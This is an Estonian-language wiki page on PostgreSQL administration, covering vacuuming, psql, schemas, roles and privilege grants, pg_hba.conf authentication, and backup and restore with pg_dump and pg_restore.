Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
